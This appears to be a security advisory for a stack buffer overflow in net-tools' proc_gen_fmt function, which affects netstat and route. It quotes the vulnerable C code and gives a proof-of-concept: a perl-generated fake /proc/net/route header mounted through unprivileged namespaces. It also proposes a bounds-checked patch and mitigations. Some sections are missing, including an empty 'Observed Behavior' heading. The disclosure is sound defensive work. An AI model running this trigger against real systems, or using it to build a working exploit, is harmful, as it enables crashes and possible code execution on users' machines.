Stack Buffer Overflow in net-tools' lib/proc.c:proc_gen_fmt

Affected Binaries: netstat, route (and potentially other tools using libnet-tools.a and specifically the proc_gen_fmt function for parsing /proc file headers)
Vulnerability Type: Stack-based Buffer Overflow

1. Vulnerability Description

A stack-based buffer overflow vulnerability exists in the proc_gen_fmt function within lib/proc.c of the net-tools suite. This function is responsible for dynamically generating an sscanf format string by parsing the header line of files in the /proc filesystem (e.g., /proc/net/route, /proc/net/rt_cache).

The vulnerability occurs because the format buffer, a 512-byte fixed-size array on the stack, can be overflowed during the construction of the sscanf format string. Specifically, if the header line read from the /proc file contains a sufficient number of initial tokens that do not match the first expected header title (passed via varargs to proc_gen_fmt), the function repeatedly appends the string "%*s " (4 bytes) to the format buffer for each non-matching token. No bounds checking is performed on the format buffer during these strcat operations.

If approximately 128 or more such leading non-matching tokens are present in the controlled header of a /proc file, the cumulative writes will exceed the 512-byte capacity of the format buffer, corrupting the stack.

2. Technical Details

Vulnerable Code (lib/proc.c, proc_gen_fmt)

char *proc_gen_fmt(const char *name, int more, FILE * fh,...)
{
    char buf[512], format[512] = ""; // 'format' is the vulnerable stack buffer
    char *title, *head, *hdr;
    va_list ap;

    if (!fgets(buf, (sizeof buf) - 1, fh)) // Reads header into 'buf'
        return NULL;
    strcat(buf, " "); // Appends space

    va_start(ap, fh);
    title = va_arg(ap, char *); // First expected title
    for (hdr = buf; hdr;) {
        // ... (tokenization logic) ...
        if (hdr)
            *hdr++ = 0; // Null-terminate current token 'head'

        if (!strcmp(title, head)) { // If file token matches expected title
            strcat(format, va_arg(ap, char *)); // Append format specifier
            title = va_arg(ap, char *);          // Next expected title
            if (!title)
                break;
        } else { // <<<< VULNERABLE PATH >>>>
            strcat(format, "%*s"); // Appends 3 bytes for non-match
        }
        strcat(format, " "); // Appends 1 byte (space)
                             // Total 4 bytes per non-match
    }
    va_end(ap);
    // ... (check for 'more' and 'title') ...
    return xstrdup(format); // Overflow happens before this heap allocation
}

Trigger Condition

An attacker needs to control the content of a /proc file header that is parsed by proc_gen_fmt. For example, the header of /proc/net/route or /proc/net/rt_cache. The header must contain a sequence of approximately 128+ short tokens at the beginning that do not match the first title argument (e.g., "Iface") passed to proc_gen_fmt by the calling function (e.g., rprint_fib in lib/inet_gr.c).

3. Proof of Concept (PoC)

The vulnerability can be demonstrated by an unprivileged user leveraging user and mount namespaces to create a fake /proc/net/route file with a malicious header, and then executing netstat -r.

PoC Steps

1. Create a malicious header file (/tmp/bad_route_header):

# Create a line with 130 "x" tokens, then the expected "Iface" and dummy rest

perl -e 'print "x " x 130 . "Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT\n";' > /tmp/bad_route_header


# Add a dummy data line for parsing continuation

echo "dummy_iface 00000000 00000000 0001 0 0 0 00000000 0 0 0" >> /tmp/bad_route_header

2. Execute netstat -r in a controlled namespace (adjust path to compiled netstat):

unshare -Urim sh -c '
  mount -t tmpfs tmpfs /proc
  mkdir -p /proc/net
  cp /tmp/bad_route_header /proc/net/route
  /home/zeph/net-tools/netstat -r
'

Observed Behavior

6. Recommended Mitigation

The strcat calls within the token processing loop in proc_gen_fmt must be replaced with bounded string concatenation functions (e.g., strncat with careful length calculation, or preferably snprintf into the format buffer) to ensure that writes do not exceed the allocated size of the format stack buffer. The current length of format should be tracked, and writes should only occur if sufficient space remains.

Fix (Proposed)

char *proc_gen_fmt(const char *name, int more, FILE * fh,...)
{
    char buf[512], format[512] = "";
    char *title, *head, *hdr;
    va_list ap;
    size_t format_len = 0;
    size_t format_size = sizeof(format);
    
    if (!fgets(buf, (sizeof buf) - 1, fh))
	return NULL;
    strcat(buf, " ");

    va_start(ap, fh);
    title = va_arg(ap, char *);
    for (hdr = buf; hdr;) {
	while (isspace(*hdr) || *hdr == '|')
	    hdr++;
	head = hdr;
	hdr = strpbrk(hdr, "| \t\n");
	if (hdr)
	    *hdr++ = 0;

	if (!strcmp(title, head)) {
	    const char *fmt = va_arg(ap, char *);
	    size_t fmt_len = strlen(fmt);
	    
	    /* Check if we have enough space for format specifier + space */
	    if (format_len + fmt_len + 1 >= format_size) {
		fprintf(stderr, "warning: format buffer overflow in %s\n", name);
		va_end(ap);
		return NULL;
	    }
	    
	    strcpy(format + format_len, fmt);
	    format_len += fmt_len;
	    
	    title = va_arg(ap, char *);
	    if (!title)
		break;
	} else {
	    /* Check if we have enough space for "%*s" */
	    if (format_len + 3 >= format_size) {
		fprintf(stderr, "warning: format buffer overflow in %s\n", name);
		va_end(ap);
		return NULL;
	    }
	    
	    strcpy(format + format_len, "%*s");
	    format_len += 3;
	}
	
	/* Check if we have space for the trailing space */
	if (format_len + 1 >= format_size) {
	    fprintf(stderr, "warning: format buffer overflow in %s\n", name);
	    va_end(ap);
	    return NULL;
	}
	
	format[format_len++] = ' ';
	format[format_len] = '\0';
    }
    va_end(ap);

    if (!more && title) {
	fprintf(stderr, "warning: %s does not contain required field %s\n",
		name, title);
	return NULL;
    }
    return xstrdup(format);
}

Mitigations

1. Apply the patch or update to a fixed release when available or de-install the obsolete package.
2. Optional: disable unprivileged user-namespaces (sysctl kernel.unprivileged_userns_clone=0) to remove the easiest non-privileged trigger path.

Credits

Discovered, reported and coordinated by Mohamed Maatallah (@Zephkek), May 2025.